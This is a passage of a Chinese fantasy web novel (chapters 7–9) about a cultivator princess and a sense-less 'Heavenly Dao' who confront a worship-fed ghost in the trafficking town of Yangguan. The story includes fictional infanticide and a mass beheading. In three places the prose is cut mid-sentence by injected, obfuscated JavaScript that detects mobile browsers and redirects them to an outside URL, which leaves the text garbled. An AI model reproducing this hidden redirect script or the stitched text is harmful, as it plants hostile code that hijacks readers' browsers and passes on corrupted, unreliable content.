应宁也随她出水,用手背抹去脸上的水滴,再将碎发撩到脑后,追向她。 南门春也跟着应宁,这次却没有像上次那样,用风系的法术给她散去一身的水汽,考虑到应宁刚刚警告他的说法,不敢再轻举妄动,怕被当成是登徒子,只能任由她全身滴水,脸上还挂了污泥。 岸边的小房子里,还停着那台小轿子。 轿子里走下来一个陌生女人,再次被这里的男人强拉进了房门。 女鬼一见到那些男人,就满腔愤恨,张开血盆大口,冲上去要将他们撕碎,然而灵力不足,扑得很是凶悍,却只扑灭了一盏门口的红烛。 半晌,女鬼转回身,对着那红烛发愣,又抬头看向蜡烛旁墙上的一幅画像。 那画像上是一个面目模糊的男子,身形高大,披散着黑发,背后一片鲜红,穿一身红衣,长长的衣摆上堆满牡丹,像下供有两支红烛、一炉劣香、满篮的牡丹花,以及一支朽木牌位,上书“清都未央无量魔尊尹洛传芳”,正是传芳君的牌位。 女鬼痴迷地看着画像,最终越靠越近,整个灵体都贴服在了画像里裙摆的牡丹堆上。 不一会,屋里的男人忙完了,走到画像前,点上香,拜了拜,道:“魔尊保佑,我这一胎一定要生个儿子,别再是个赔钱货了!” 香火就在女鬼眼前,她无力抗拒,回头恋恋不舍地看了一眼传芳君的画像,最终还是转过身,扑下去贪婪吸入烟气,收下了这一份不属于她的供奉。 三界轮回阴阳相生的道理讲究有借有还,食人供奉,就要忠人之事,于是女鬼飘向屋内,还了她成鬼后的第一桩愿,掐死了屋里那女人腹中的女胎。 从此时起,这女鬼漂泊无依的魂魄才算真正修成了鬼身,只可惜,是只伥鬼。 从此后,阳关只剩男胎。 7. 第 7 章 如果阳关没有女人,“香火”是如何传承下来的呢? 一开始,多半是萍水拐骗来的。 那红轿子一顶接一顶,在阳关黑洞洞的破房子前停了许多次,应宁就眼看着新娘子从里面走下来,被关进破房子,再看着房子里抱出婴儿,手背青筋直跳,左手几乎要将剑柄拧碎。 哪怕漠然如云中太守,都一直皱着眉头。 当朝严禁买卖人口,到了后来,萍水不敢再拐下去,阳关的县丞便想了个主意,打着求子的名号,给“传芳君”立了一座像,摆在了码头上,只是脸仍是模糊不清的,与画像一样。 应宁仰视塑像,又看看南门春,冷嘲道:“这就是传说中的魔尊吗?我怎么觉得,他跟你有点像呢?萍水的人让我来瞻仰他的尊容,可我却至今连个正脸都没看见。” 其实她嘲的不是传芳君,而是身边这一位。 玉京也有云中太守镇守仙界的塑像,但除了一个“不守天规”的应宁以外,没人见过南门春的真容,这些仙魔好像都习惯了装神弄鬼,仿佛不配叫凡人看见,应宁心中却只会嘲讽他们,仿佛自身的容貌有多么见不得人似的。 而且南门春身量也极高,那塑像不止是身材,连模糊的面孔都确实与他有些微妙的相似之处。 “传芳君已经陨落百年,近代无人见过,便形成了‘讳容’法相,信仰不外如是,若他本人还活着,便不会如此,”南门春却完全没有听出她的弦外之音,解释道,“我与他的容貌不止不像,甚至还差别很大。” 应宁心念一动,问道:“你见过传芳君?” 南门春道:“见过。” 应宁再问:“那你是活了几百年不成?” 南门春答:“岂止百年。” 上一次仙魔之战时,仙界还留有不得记载历史的规矩,许多事情只靠当时的人口口相传,因果多半模糊了,应宁纵使在仙门看过许多书籍,却对过去所知甚少。 “你见他做什么?”应宁猜测道,“难道他也和我一样,逆天而行了?” 南门春竟答道:“正是。” 应宁心情越发沉重,面上却笑道:“所以你如何了呢?也像对我一样,用风束缚住他的四肢,操纵他顺天而为吗?” 幸而南门春摇了摇头,道:“不,当时还没有轮到我来插手,有馨烈侯出手,教他自己想通了。” 这话也够模糊的。 是轮不到,还是不需要?南门春的实力到底有多深呢? 应宁握着剑柄的手反复摩挲,难容也安慰似的在她掌心缓缓缠绕剑柄转圈。 不多时,洪水泛滥,将那尊传芳君的塑像吞入了池底。 虽然塑像是倒了,但那伥鬼的香火已旺了一段时间,灵力也强过初时,她这一次重回池底,顺着塑像,终于寻到了茫茫大泽里的两把神武,并把神武拖到了阳关码头的河底。 但这一次,难容没有回应伥鬼。 她尝试炼化难容的魔气,却被峥嵘的剑气逼退,连靠近都不敢,十分艰难,只能回到云梦泽岸上继续吸食香火,修行进入瓶颈。 “这总该是阵眼了吧?”应宁催促道,“她是传芳君的信徒,但难容不肯认她为主,所以她修炼一直进境不佳,被我诛杀之前还耿耿于怀,你都已经追到她的残像至此了,强行破阵总没问题吧?” 南门春却仍然摇头道:“我破阵是可以,但鬼力通神,恐怕她还知道什么我所不知的,想传达给你,多待片刻无妨。” 应宁不耐烦地吁了口气。 紧接着,居然真继续发生了恍若话本子里的剧情,有人知道了伥鬼修行卡在瓶颈似的,立刻来雪中送炭、瞌睡送枕头了。 一个拿刀的少女来到了阳关。 她站在码头上,拔刀直指伥鬼,道:“就是你冒充传芳君,在这里做什么‘送子观音’吧?我以经调查清楚了,你不过是只残害女婴的伥鬼!传芳君纵是魔修,也是一统魔界的尊者大能、与馨烈侯旗鼓相当的对手,怎会做出这等卑劣之事?” 少女着红衣,风华正茂,腰佩仙门世家的梅花信物,横过刀身,明亮的刀光一闪而过,映照出伥鬼的青面獠牙。 她凛然道:“我今日就灭了你,为阳关百姓除害,替传芳君正名!” 仿佛就是那伥鬼生前最想活成的模样。 应宁看得怔住。 南门春却略显不解。 “我的刀!那是我的刀!还给我!” 伥鬼发出一声尖啸,迎着少女的刀尖冲去,在滔天怨念中将少女拖入池底,困于层层幻境,逐渐蚕食殆尽。 而后,伥鬼的灵力骤然提升,可以驭水日行万里,将两把神武圈入自己的领域隐藏起来,随意出入云梦两岸居民的噩梦,开始吸纳更多信徒与香火。 她终于了悟了。 她是食阳关香火而成的鬼身,所以她最需要的祭品,不是还未成型的女婴,而是满腔怒火的无辜少女。 然而伥鬼悟了,南门春没悟,他茫然道:“我不明白。” 应宁见他神色不似作伪,只道:“你修的不是她的道,当然不懂,那把刀可能还是她生前当掉的。” 南门春歪了歪头,道:“只是个巧合,何故如此迁怒?” 只是个巧合? 这厮说得好生轻巧。 伥鬼生前遇害化鬼有错吗? 化鬼后执念不散、误食香火有错吗? 买了刀来为民除魔驱鬼的无辜少女又有错吗? 正因为没有错,才会生怨;明明没错,却被人怪罪,才会有念。 鬼道,生于怨念,集众怨执念之大成,这就是应宁今生为自己选定的,也是唯一一条由她一介凡人也能走得通的道,南门春不理解,她却太能理解了,理解到甚至不能理解“为何会有南门春这样不理解的人”这一事实。 “你……” 南门春左手捻起扇坠。 那是一朵似玉非玉的莹白梨花,锁在一只由红线编织而成的玲珑小球内,顶上穿在扇轴的小孔里,底下缀着一截短短的红流苏。 “你痛了?” 那红线此时在收缩,将梨花越捆越紧,紧到花瓣渗出一层惨烈的鲜血,却不往下滴,而是尽数被红线吸收。 应宁瞥了一眼,心中只凉凉地想了一句:哦,那便是我被他收走的痛觉。 “为什么?” 南门春越发不解。 她被风操控着喉咙发声时没痛,差点因窒息而死的时候没痛,跟着伥鬼生前的尸体投湖,以凡人之身在三九天的冰水里游了一圈,也没感觉痛,反而是在那伥鬼悟道时突然痛了,而且还痛得厉害。 应宁笑道:“痛对你来说,应该是一种很奇怪的感觉吧?” 她可以笑着“感觉”到痛,也许这就是“不痛”吧?南门春思索着,眉头紧锁,点头反问道:“对现在的你来说,应当也是如此吧?” “还好吧,”应宁却只是笑笑,默默记下了他的又一弊病,道,“我毕竟是凡人,什么时候会痛,什么时候不会痛,我还是知道的。” 没有视力,没有听力,没有痛觉…… 应宁已经基本可以断定了,这个“人”没有五感,他根本就不是一个“人”,而是一个伪造成人类外形的“伪人”。 那种与雕塑相似的熟悉感也可以解释了,因为他应当就是被雕刻出来的“造物”,难怪他敢自称“生来就是天道”,还有“主人”。 南门春猜不出她在想什么,还自顾自沉浸在“痛觉”的话题中,只道:“但你的痛感和我所知的全然不同。” 这时,阳关已经化作一张巨口,谁来吃谁,不吐渣滓,逐渐变得人迹罕至,连驱魔的仙者也不常来了,但不止伥鬼需要少女的生魂增添修为,阳关也需要女人来延续“香火”。 所以她很快又有了新的动作。 她化作一个小女孩,来到与萍水交界的地界,开始主动“揽客”了。 “你看,”南门春左手托起扇坠,道,“你又痛了。” 应宁只觉呼吸有些困难。 她看着那小女孩走到一个白衣的少女面前,举起手中的提篮,问道:“神仙姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504343|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要买朵花吗?” 白衣的少女蹲下、身温柔一笑,屈起食指在她脏兮兮的鼻梁上一刮,仿若初春绽放的梨花般温柔,问道:“你叫什么名字?” 那少女的笑眼明亮却柔和,恰似一捧皎洁无暇的月光。 女孩答:“我叫湘儿,湘竹的湘。” …… 上辈子,从一开始,她就没能救下任何一个人。 “还没看够吗,”应宁闭上双眼,冷冷道,“你若再不破阵,就不要怪我出手了。” 南门春这才轻抬右手,大发慈悲,挥散了这一幕漫长的幻境。 “我不知道你为什么会痛,”他将扇坠随扇子一并收在掌心,道,“不过既然已经抓到了那女鬼的身外化身,破阵若能缓你的痛苦,现在破了也无妨。” 魔气散去,他们二人已经不在萍水的客栈,而是被幻阵给再次拉回了阳关。 应宁左手小指轻弹,那上面的一根红线还连着镇子里的湘儿,她却沉声道:“我之前已经抓到她了,是你不让我带走她,说什么有违天意,导致现在平添事端,还不如当初就带走她。” 南门春还是难对付得很,直接拆穿她道:“我记得你当时在她身上留下了难容的线头,现在抓到她不难。” 应宁又道:“抓到了又有什么用?” 南门春沉吟片刻,居然再次跟她道了个歉,道是:“是我的错,抱歉,你确实当时就应该处置了这个湘儿。” 应宁只觉匪夷所思。 “嗯?”她怀疑地问道,“所以我现在杀了这伥鬼的身外化身,你也不会阻拦、不说什么阎王留她到五更了?” 南门春将扇子在手中一敲,道:“我已经大概能理解你当初的想法了,你当时说,‘多耽误一天,就可能多死一人’,此话不假,如果不早些铲除湘儿,可能这期间还会伤害到更多无辜人,若非我穿过那身红嫁衣,有过切身体会,恐怕还会继续拦你。” 他倒是坦白,无关己事时高高挂起,差点进过一遭洞房了才知道大事不妙,这种话也好意思说得出口。 “呵呵,”应宁又笑了,道,“你现在不说什么,‘说不定先动一步,后续会死更多’了?” 南门春摇头道:“此事后续若有什么问题,我会一并照看。” 应宁笑着低下头,笑容显得越发阴沉。 “可是我当时是在她身上留了一根线头,”她以无名指轻轻磨蹭小指上那根缠得好好的丝线,道,“现在却已经断了,估计她布下这个幻境就是为了摆脱难容吧。” 南门春面露难色,又在掌心敲了一下扇子。 “现在你要如何引她出来,难道再把现实中的半个云梦泽也吹飞不成?两岸的百姓渔船你也不管了?”应宁耐着性子,终于铺垫到这一步,问出了最关键的问题,“你这扇子叫什么名字,是何法宝,可有难容一样的奇效能用?” “那就有些棘手了,”南门春惭愧答,“我这扇子名叫避风流,你或许听说过,神器中最是平平无奇的那个。” 应宁一瞥扇子,道:“那如果我说,我有办法,但我要动的不止是湘儿一个呢?” 南门春握住扇子,又开始犹豫起来。 “你应该知道吧?”应宁眯起双眼道,“香华道上,香火不息,则魂魄不散。真正该死的,另有其人,若不溯其源头,此事永远不能善终。” 南门春犹豫道:“此事牵连甚广,你如何能保证自己不错杀?” “错杀这个词居然会出自你的口中,好不滑稽,”应宁冷笑道,“我有难容在手,对凡人搜魂易如反掌,还会分辨不清哪个是冤头债主吗?” 南门春深吸一口气,最终道:“杀。” 应宁却只是讥笑道:“这话还像点人样。” 她面上笑容未停,心里却沉到了底。 世上神器共有五件,明镜台是其一,并非兵器,峥嵘与难容是其二、其三,俱在应宁手中,但剩下的避风流在南门春手里,还有一样无人知晓……她怀疑,第五件神器,或许就是南门春这个自称为“神”的本人。 8. 第 8 章 “我有主意,但我要动的不只是湘儿一个。” 应宁这句话说完,南门春就知道她的主意了。 她要动的是湘儿的香火,可整个阳关都是湘儿的信徒,要想熄灭香火,就要屠尽整个阳关。 · 南门春犹豫过,但他脑中不断闪过自己穿着嫁衣、应宁横剑身前的画面。 他被拖下轿子、被拖向黑洞洞的屋子…… 这岂是承天道之神所能遭遇的境地?哪怕是凡人,也多半都想也不曾想过会降临己身的。 之前应宁曾有一问,“我与这女鬼同修香华道,自然心诚则灵,神识就能互相沟通,你一个无情道的,怎能听见?”,一语道破南门春的天道是无情道,虽为揣测,但所言不假。 她的师尊不秋仙尊就是专修无情道,传授给学生的必然也是此道,所以应宁虽是凡人,却也很懂无情道的道法,此道首讲一个“天地不仁”,万类平等,从不插手三界一切因果,哪怕是生死轮回。 这也是不秋仙尊闻名天下,却被萍水人大肆抨击的原因。 他带学生游历九州,却从无行侠仗义之举。 唯他的学生应宁,带着一个师弟一个师妹,走到哪,就施恩到哪,不曾有半步行差踏错,是被世人称作瀛洲玉雨的活菩萨,连一个阳关的伥鬼湘儿都听说过长公主殿下的英名。身为人间公主,她天生凡体永无仙缘,不受道法规范,反受国法规矩,自然是想做什么善事就做什么善事。 而南门春的道行比之不秋仙尊要高上许多。他是天生的无情道体,又受天道所限,扪心自问,是不该由着应宁去做这件事的。 可他看着应宁的动作,只道:“如此一来,你师门在除夕前还会来阳关吗?” 应宁无所谓道:“我怎么知道。” 她站在道中,双手食指交织,翻花绳般扯出一段长线,难容一边伸向阳关,将整个小镇笼如蛛网,另一边则伸向了萍水。 “等等,”南门春问,“萍水的香案都是假的,为何还要动萍水?” 应宁答:“我大景明文规定,拐卖妇孺者处极刑,案律当斩,如今收买者都当斩了,举轻以明重,拐卖者不是更该当斩?就算不知凡间律法,这点道理你还要问?” 南门春还是在掌心敲了敲扇子,没再多说。律法他自然懂,不懂的乃是天道,是他自己,为何不想拦。 这倒稀奇,不过应宁不在乎。 她一个合掌间,难容就已经割下了两个镇子近百数人的首级,人头滚落如淤泥。 当着天道的面,她几乎瞬间斩杀了两个镇的全部男丁,却面不改色。 南门春都皱了皱眉头,但到底没有阻拦。 霎时间,两镇魔气冲天,阴风卷着阴云滚滚袭来,空中骤然响起雷鸣,却也遮不住女人此起彼伏的尖叫声。 那既有无数罪犯家中的生人,也有伥鬼残骸的冤魂。 有女人,和……仅剩不多的几十个十岁以下的男孩。 “救命!” “啊——” “见鬼了……” 阳关码头边,湘儿现身了。 她这第二化身的真身,竟然远远大于之前被应宁驱散的那魂魄,光是血红罗群的裙摆就几乎笼罩住整个阳关镇,双眼滚落血泪,被难容从水里提了出来,十指死死扒着脖子上的红线。 “应有语,”她艰难道,“你屠杀自己的子民,连几岁的少年都不放过,当真不怕遭得上辈子的报应吗!” 南门春歪头道:“上辈子?” “国有国法,血债血偿,年纪轻轻就敢犯死罪,留他大了可还得了?”应宁却十指交握,织紧难容,毫无退怯之意,坦言道,“我为生民立命,无愧于百姓,何惧之有?” 湘儿沙哑的嗓音笑道:“好,好一个国有国法,区区凡人,竟敢不敬鬼神,真当香华道是你一介生魂就能通途的阳关大道吗?我已经看到你的末路了,届时不必由百鬼噬心,你身旁那位云中太守自会亲自为你殓骨,惨过你上一世的千刀万剐!” 她字字泣血,最后含恨消散。 应宁终于松开交握的手,只见掌心又是一枚玲珑骰子,七面皆白,唯独留有一滴圆点那面,变成了两点。 “上一世?”南门春疑惑道,“为什么她要反复说上一世的事?” 应宁握紧那骰子,半晌不语,敷衍道:“不知道。” 收一魂,留一点,这两点并排。上一次驱魔得了个单个点的,还能勉强解释为装了个鬼魂的乾坤戒,但这次这个分明就是赌桌上的物件,没得逃了。 应宁上辈子从没听说过传芳君有任何不良癖好,而她在师门所学得知,难容本身该是条伸缩自如的鞭子,这东西无疑,就是她那赌徒师弟修魔后的法器,“乾坤一掷”。 按理来说,这一世,难容既没有经过他人手,直接认应宁为主,应宁是个酒色财气全不沾边的人,怎么也会化出这种东西来? 应宁一时想不通,眉宇间隐有黑气。 南门春尤在她耳边废话,道:“人魂入轮回自会被洗去记忆,上一世更不必然为人,她为何要拿你的前世结果相胁?” 应宁实在烦他,道:“问题这么多,你是天道我是天道?” 南门春振振有词:“我虽是天道,但不曾做人,不解做人的道理有何不对?” “可我却没那个闲工夫教你做人。” 应宁翻手将那骰子一掷,两枚黑点里掉出三件东西来,是那女鬼的化形之宝。 一身破嫁衣,一把宝刀,以及一段儿带雪的梅花枝。 那刀上刻着个“湘”字,应该就是湘儿生前当掉那把,出鞘后平平无奇,但应宁还是将刀收回了骰子里,只剩一个刀鞘,走近码头,将那嫁衣埋在河岸边,刀鞘则立于坟上,给湘儿做了个简单的衣冠冢。 南门春见她烦了,也就不问了,只在一旁看着,只心道,做人难道都讲究先杀人再上坟吗? 至于那截梅花…… 它属于当年那买了刀、找上门、却丢了小命的仙门女修。 应宁捏在手中左右翻看,那雪也不掉,梅也不凋,笑道:“这回有你懂的了。” “这是瀛洲仙门叶氏冬社的信物,独天下春,”南门春看着那梅花,心下顿时涌上不好的预感,道,“你师门就全部出自叶氏一门,待他们来了,顺手还回去就是。” 叶氏多修君子道,才人辈出,是当世第一也是唯一独大的仙门,家徽分为梅、兰、竹、菊四君子,各属冬、春、夏、秋四社。 第一仙门上出过馨烈侯这样的仙界至尊,以兰香闻名天下,纵王者已矣,信物“王者香”犹传,能与传芳君的牡丹一抗,现又有应宁的师父不秋仙尊坐镇门主,虽是从君子道转投了无情道,却也以不秋不折的竹子做尊名,信物为“死不改节”,应宁现在身上就带着这么一枚竹枝。 而且不止师尊,应宁的师弟师妹,也都出自叶氏。 师弟虽不姓叶,却是千年难能一遇的天才剑客,由秋社举荐入师门,信物“百花杀”乃是一朵杭菊;师妹也是奇才,是冬社千年一选的天定神女,一剪寒梅“独天下春”,在冬占春,就是最为霸道的冬社信物。 上一世,师门驱鬼未能驱净,不顾应宁劝阻,留下了湘儿这尊本相,招致报复被血洗皇室不说,后来还引发了更严重的问题。 两把神武的灵气经过千百年尘封,已缠得不分你我,被强行分开给了师弟师妹后,师妹倒还好,不怎么使用难容,可师弟一个剑修却不得不用峥嵘,又不能驯服满是魔气的峥嵘,便想来云梦大泽一洗剑上魔气。 谁知在人间洗了几日剑后,他被一个修合欢道的女修给看入了眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504344|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那女修实力不如师弟,初时倒也没敢犯下什么大错,不过被大家传做一段闲话,但应宁去云梦泽探寻仇人踪迹,顺路探望过师弟后,却赫然发现,那女修行事,像极了自己的灭门仇人! 现在想来,那就是湘儿的第三化身。 若非活了两次,谁能想到一只小小伥鬼,竟然能杀了又杀,还杀不尽呢? 当时,应宁内心实则已与师门有了罅隙,所以并未声张,只想着伺机行事,靠自己将其一击毙命,结果还没等她出手,湘儿就率先发难,说她偷换了师妹的神女之命,把师弟对师妹的爱慕之情全部转移到了自己身上,企图破坏师弟师妹的婚约。 这一指责简直令人匪夷所思,应宁活了两辈子,看遍仙人两界书简,也不知道有什么能改人命数、转移人爱慕之情的邪门招式。 而所谓证据,就是她身上的一枝独天下春。 “这是当年神女在湘水畔救下神君后,遗落在神君身侧的定情信物,”那合欢道女修一口咬定,“神君爱慕上神女后,一直将这枝寒梅贴身携带,历经万难考入能举荐外姓仙者的秋社,只为见神女一面,却被这应有语给鸠占鹊巢!” 照她所说,谁救过师弟,师弟就会爱上谁,而应宁就为了这份“爱”,伪装成当初救过师弟的那个人十数年。 这个指责说大不大,说小不小,在应宁当时看来,是完全不值一提的,毕竟她之所以持有这枚信物,是因为她正在调查湘儿的身份,家仇国恨当前,谁还有时间提什么情情爱爱?甚至于冤枉不冤枉的,应宁都不在乎。 可偏偏,在那个师妹那里,这就是一件头等大事。 “我不在乎你与我互换命数,”她嘴上这么说,实际上却甚至组织了一堂会审,重审应宁,“我要的是给冬社被盗取的信物一个公正处理。” 最终“公正”的结果,将应宁打得皮开肉绽,差点要了她的命。 · 若还带着这东西回去,等着被人搜出来,应宁的结局必如湘儿所说,再次不得好死。 “既然是冬社的信物,必然是极其重要的……” 回忆至此,应宁又不禁笑了。 南门春一见她笑,便知她又要提什么“有违天道”的事。 “你就不好奇,它所属之人的名字吗?” 应宁心中已经有了主意。 鬼力神通能见未来,应宁已经连收湘儿两个化身,估计暂时是难找那合欢道女修的第三个化身了,也不知她是在哪里吃得什么香火而成,一时片刻不能求成,只能去上一世师弟洗剑处碰碰运气,但眼下手里比上一世多收了一个小女孩化身,已经多了一枚信物。 “我收服了怅鬼,鬼又吞噬过这女修的生魂,倒是能对这女修的记忆探查一二,也许能找到她生前所在,亲手归还。” 应宁质问南门春道:“你真的相信,伥鬼正没得突破,就正巧有老天爷来给她喂饭到嘴边,送个女修上门吗?” 南门春被她问得深吸一口气。 “所以你还要查到底?叶氏仙门的事情,你也要管?” 应宁挽了个剑花,收起那支寒梅,笑道:“是,凡人的事,我管就管了,仙门的事,我一个凡人就管不着,真是好了不起。” 南门春摇头道:“你明知我不是这个意思。” “如果伥鬼是人为养起来的呢?”应宁又道,“你也听见了,她预言我不得好死,你既然说了后续有什么问题,会一并照看,这也不算问题?” 南门春再想起她横剑身前的样子,只得道:“那如果查不到呢,你还想怎么样?” 自然是以其人之道还治其人之身。 应宁答:“那我就要叶氏四社会审,云中太守为我坐镇。” 届时仇人齐聚一堂,她已想好办法,要连带这“天道”,一网打尽。 9. 第 9 章 人间京都平邑,在九州正中的京畿道,向南跑几天的马,才能到达魔界以北的阳关,而仙界在云中都护府,从京畿道向北还要再跑几天的路,仙魔殊途,不止道法如此,从地理上看也是完全两个方向。 根据前世的记忆,伥鬼的第三化身女修,就在云中府北部。 现在要从正南赶往正北,就算是有灵药加持的宝马,也得跑上十几天。 南门春表示:“你既然要调查那女修姓名,与其把时间浪费在路上,不如让我带你。” 应宁却道:“不。我要御剑。” 上辈子,作为一个凡人,她一辈子不能御剑驰风,这次有了峥嵘剑,纵使不能驱使,她也可以用难容缠覆着峥嵘,驾驭难容,形同御剑。 “你这次要去的是云中,”南门春提醒她道,“人间与仙界隔着太行山脉,想绕过天下第一关,路程可不能跟平邑到阳关相比。” 阳关往南才是魔界,人间魔界之间的天堑,是万丈深渊同悲谷。 应宁从平邑来,骑马就能赶到,只要别再向南去魔界,一切好说,因为以凡人之躯,根本越不过同悲谷。 同理,人间仙界之间也有天堑相隔,那就是方千里、高万仞的太行山,分为太行、王屋两段,中间架出一座封死的关隘,据说是由千年前的化神修士移山挑成,以凡人之躯,很难绕过这段铜墙铁壁。 应宁每年回平邑省亲,都是先乘坐飞舟,落进关内,才换马车的。 但她说:“我要御剑。” 她抽出腰间那把无鞘的峥嵘,以难容操纵着,横在空中,坚定迈上剑身,身形猛一摇晃,差点跌落在地。 “你……” 南门春不敢再用风去直接碰她,只能隔着一层无风的罩子,用风把她给“挤”住。 “无妨,”应宁扶了下头,迈下剑身,道,“再来。” 她再走上剑身,这次站稳了,但操纵剑身飞高时,又猛一摇晃,立刻就要倒地。 这回南门春也不敢托大,一步上前亲手将她托住了。 他右手握着扇子,当真是“避风流”的用途,扶的是应宁肩膀,左手只以手臂横在她腰后,并没有碰到她。 “没事,”应宁摇摇头,道,“我只是有点头晕。” 她说着,再试了一次,这次在剑身飞高时压低了重心,果然没事了,然而剑身向北飞去时,却被整个人甩下了剑身。 “应有语!” 南门春再无法顾忌,只得双手将她接住,打横托在怀中,见她已经人事不省,一时十分疑惑。 也没摔到她,怎么就晕了? · 再醒来时,应宁发现自己躺在一张白床上,是家小医馆的二楼。 床边一侧是窗,另一侧立了屏风,屏风后传来一位老大夫的声音。 “都快烧熟了,才来看病,你以为她是要成神仙了吗?” 南门春的声音难得略显局促,道:“我不知道她发烧了。” “全身湿透了还不换衣裳,非得人死了你才知道?”老大夫骂完,可能看他是个瞎子,又发善心道,“得,先拿这壶酒,赶紧给你娘子擦身,老婆子去给她熬药。” 说完,大夫走了,独留南门春一个,道:“……她不是我娘子。” 也无人搭理他。 应宁大发慈悲,从屏风后向他伸出一只手,道:“给我吧。” 南门春赶紧递上一壶酒,并一条汗巾。 应宁在幻境里投湖后就没收拾,此时还满身淤泥,这就脱了衣裳,头晕脑胀得用烈酒擦起身子。 南门春找来一铜盆水,给她端进屏风来,放在床头边的凳子上,不忘补充道:“我看不见。” 应宁却并不在乎,当着他的面脱完了,继续擦身。 别说件衣服,上辈子连身上的肉都被片完了,她还会在乎这些?此前说的什么男女大防,都是骗他的而已。 “我晕了多久?”应宁只是阴沉着脸,道,“你还是带我来了云中?” 南门春收起她的衣服,施展净衣法术的动作一顿,道:“是。你睡了小半刻钟,我想你大概是得了什么病,云中的大夫要更可靠。” 云中都护府虽还在地上人界,不属于天上的诛仙列岛,但属仙界辖,其繁华远胜平邑。 这里是仙人入世后的第一处落脚点,自然气派非凡,从医馆窗外遥看出去,就能望见城内最惹眼的云中道。 那是条圆柱形的宽阔剑道,落如垂云,直通天际仙岛,垂面有几十个萍水镇宽,漂浮仙剑无数,环绕两条带状天梯,一条黄金阶,一条白玉阶,互相交织,盘旋而上,宛如画中。 仙人不走台阶,也不知这两条锃亮反光的步道有什么意义,又是何时修葺,动用了多少徭役。 应宁拧眉看着这两条步道。 她心知,南门春能御风而行,缩地成寸,确实省了很多时间,但自己若一天不会御剑,一天就难登这通天云梯。 “云中的大夫固然可靠,”应宁拿回干净衣服换上,用手背探了下额头的温度,漠然道,“但我死了也就死了,活着还要浪费草药,有什么意义?” 南门春还没开口,老大夫这就回来了。 “说什么屁话!”那是个健步如飞的老太太,提了一罐汤药,递给应宁,道,“好死不如赖活着,进了我的医馆,就休要坏了我的名声。” 应宁笑着接过,自己倒出一盅,道:“多谢大夫。” 这药煎得也太快,多半是大夫怕她熬不过去,用灵石催熟的,臭气熏天,苦不堪言。 但应宁自幼就是个药罐子,喝得面不改色,还倒了第二杯,冲南门春的方向端了端,诈他道:“云中的水好,沏这晴川绿雪别有味道,南门公子不尝一尝?” 南门春摇头道:“我不懂茶,你自己喝吧。” 应宁只哂笑一声,将第二盅药也一饮而尽。 晾他就不懂,连嗅觉都没有,味觉估计也没有罢。 “好,喝了药,人也精神多了,我们这就走吧,”应宁最后看了眼那两条天梯,蹬上靴子,走向相反的方向,道,“先到那叶氏女死前去过的最后一处地方看看。” 南门春连忙道:“你还在发烧吧?” “有吗?”应宁一双笑眼弯弯,看着他道,“我摸着退烧了,没问题啊。” 她烧晕过去,是这个“人”将她带来的医馆,可他本“人”却不知道她在发烧,说明他不只是没有痛觉,根本就没有触觉,连应宁身体的热度都感受不到,难怪整个人都冷冰冰的。 经过一再确认,她已经可以彻底断定,形、声、闻、味、触,他这五感尽失……又或者说,可能从出生就没有。 原来这就是无情道体,有点意思。 她笑着,南门春却皱起眉头,道:“我收回你的痛觉,不是让你用来糟践身体的。” 听着还怪感人的。 “生待如何,死待如何?”应宁低头一笑,喃喃道,“纸上清名,万古难磨。” 自古文人墨客,崇尚清名高义,她上辈子做了一辈子好人,行善积德,不敢有半步行差踏错,为孤寡施粥,为老幼建舍,至今人间谁听说了长宁长公主,不赞叹一句“当世活菩萨”? 可清名当真难磨吗? 她见过人间炼狱,人都死光了,何况汗青历历。 那时她才明白,为何此前仙魔两界从无历史遗留。若当代都死完了,后代哪来的故事能听? 反倒是好人不长命,祸害遗千年。那随心随性的神女,仙界谁不赞一句“真女英雄”;那阴晴不定的魔头,魔界谁不称一句“别有魅力”?话都留给活着的说了,是以应宁是死是活,她都不不在乎…… “你若现在死了,”唯有南门春在乎,坚持道,“天理不容。” “那你待如何?” 应宁冷眼看着他。 看来还非得再熬到上一世那般死法,天意才算尽兴。 南门春略一思索,左手握住扇坠,将那朵被红线捆死的梨花握在掌心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507742|154955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融化了! 应宁一愣,道:“这是何意?你要还给我?还就还。” 南门春却摇头道:“你的痛觉就算还给你,你也不会觉得痛,不如由我来用,更加妥当。” 应宁愣了片刻,才嗤笑一声。 “好啊,不错!不过你若想体察民情,可正巧来得晚了一步。” 合该受过上辈子她受的千刀万剐,那才叫痛快呢! 南门春用扇子支住太阳穴,眯起双眼,轻轻摇了摇头,只觉一阵天晕地转,头重脚轻,连思路都慢了许多,不解其意。 · 应宁从医馆楼上下来,才发现这一楼挤满了人,横七竖八的乱躺一地,不是缺胳膊断腿,就是头破血流,还有好几个满脸鲜血面目全非的,一眼看去,病情全都比她严重多了。 